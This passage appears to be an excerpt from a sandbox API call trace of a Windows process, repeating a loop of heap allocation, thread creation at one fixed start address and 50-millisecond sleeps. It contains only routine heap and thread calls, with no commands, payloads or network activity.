hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0121.375] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0121.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb0 [0121.375] Sleep (dwMilliseconds=0x32) [0121.545] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0121.545] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0121.545] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0121.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc94 [0121.545] Sleep (dwMilliseconds=0x32) [0121.640] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0121.640] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0121.640] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0121.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0 [0121.641] Sleep (dwMilliseconds=0x32) [0121.734] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0121.734] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0121.734] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0121.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb64 [0121.734] Sleep (dwMilliseconds=0x32) [0121.857] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0121.857] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0121.857] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0121.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc8 [0121.857] Sleep (dwMilliseconds=0x32) [0121.999] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0121.999] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0121.999] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0122.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae4 [0122.000] Sleep (dwMilliseconds=0x32) [0122.116] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0122.116] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0122.116] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0122.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0122.117] Sleep (dwMilliseconds=0x32) [0122.231] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0122.231] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0122.231] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0122.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe34 [0122.232] Sleep (dwMilliseconds=0x32) [0122.325] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0122.325] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0122.325] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0122.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe18 [0122.326] Sleep (dwMilliseconds=0x32) [0122.435] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0122.435] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0122.435] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0122.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf4 [0122.435] Sleep (dwMilliseconds=0x32) [0122.527] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0122.527] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0122.527] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0122.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe2c [0122.528] Sleep (dwMilliseconds=0x32) [0122.652] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0122.652] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0122.652] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0122.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc88 [0122.653] Sleep (dwMilliseconds=0x32) [0122.746] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0122.746] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0122.746] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0122.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc8c [0122.746] Sleep (dwMilliseconds=0x32) [0122.844] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0122.844] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0122.844] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0122.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba8 [0122.846] Sleep (dwMilliseconds=0x32) [0122.939] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0122.939] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0122.939] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0122.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf08 [0122.940] Sleep (dwMilliseconds=0x32) [0123.034] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0123.035] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0123.035] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0123.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb2c [0123.035] Sleep (dwMilliseconds=0x32) [0123.139] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0123.139] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0123.139] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0123.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa74 [0123.140] Sleep (dwMilliseconds=0x32) [0123.229] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0123.229] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0123.229] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0123.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0 [0123.230] Sleep (dwMilliseconds=0x32) [0123.323] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0123.323] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0123.323] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0123.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf80 [0123.323] Sleep (dwMilliseconds=0x32) [0123.432] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0123.432] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0123.432] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0123.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa8 [0123.433] Sleep (dwMilliseconds=0x32) [0123.526] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0123.526] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0123.526] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0123.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd4 [0123.527] Sleep (dwMilliseconds=0x32) [0123.619] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0123.619] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0123.619] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0123.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb8 [0123.620] Sleep (dwMilliseconds=0x32) [0123.713] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0123.713] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0123.713] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0123.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa34 [0123.714] Sleep (dwMilliseconds=0x32) [0123.809] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0123.809] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0123.809] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0123.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1038 [0123.809] Sleep (dwMilliseconds=0x32) [0123.900] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0123.900] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0123.900] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0123.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf94 [0123.901] Sleep (dwMilliseconds=0x32) [0123.994] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0123.994] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0123.994] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0123.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0123.995] Sleep (dwMilliseconds=0x32) [0124.087] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0124.087] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0124.087] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0124.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0124.088] Sleep (dwMilliseconds=0x32) [0124.181] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0124.181] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0124.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950 [0124.181] Sleep (dwMilliseconds=0x32) [0124.290] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0124.290] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0124.290] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0124.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0124.291] Sleep (dwMilliseconds=0x32) [0124.384] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0124.384] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0124.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0124.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888 [0124.384] Sleep (dwMilliseconds=0x32) [0124.495] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0124.495] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0124.495] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0124.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910 [0124.496] Sleep (dwMilliseconds=0x32) [0124.587] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0124.587] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0124.587] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0124.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914 [0124.588] Sleep (dwMilliseconds=0x32) [0124.680] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0124.680] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0124.680] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0124.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904 [0124.681] Sleep (dwMilliseconds=0x32) [0124.774] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0124.774] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0124.774] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0124.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0124.774] Sleep (dwMilliseconds=0x32) [0124.867] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0124.867] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0124.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0124.868] Sleep (dwMilliseconds=0x32) [0124.995] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0124.995] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0124.995] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0124.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b0 [0124.996] Sleep (dwMilliseconds=0x32) [0125.132] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0125.132] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0125.132] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0125.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0125.133] Sleep (dwMilliseconds=0x32) [0125.273] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0125.273] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0125.273] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0125.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1214 [0125.273] Sleep (dwMilliseconds=0x32) [0125.492] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0125.492] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0125.492] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0125.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188 [0125.493] Sleep (dwMilliseconds=0x32) [0125.639] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0125.639] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0125.639] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0125.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0125.640] Sleep (dwMilliseconds=0x32) [0125.772] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0125.772] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0125.772] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0125.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0125.773] Sleep (dwMilliseconds=0x32) [0125.921] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0125.921] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0125.921] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0125.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1274 [0125.922] Sleep (dwMilliseconds=0x32) [0126.007] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0126.007] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0126.007] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0126.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1258 [0126.008] Sleep (dwMilliseconds=0x32) [0126.103] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0126.103] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0126.103] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0126.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1354 [0126.104] Sleep (dwMilliseconds=0x32) [0126.235] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0126.235] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0126.235] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0126.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x131c [0126.236] Sleep (dwMilliseconds=0x32) [0126.380] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0126.380] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0126.380] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0126.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134c [0126.381] Sleep (dwMilliseconds=0x32) [0126.492] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0126.492] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0126.492] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0126.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1368 [0126.493] Sleep (dwMilliseconds=0x32) [0126.585] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0126.585] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0126.585] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0126.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1338 [0126.586] Sleep (dwMilliseconds=0x32) [0126.696] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0126.696] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0126.696] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0126.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f4 [0126.696] Sleep (dwMilliseconds=0x32) [0126.790] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0126.791] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0126.791] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0126.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 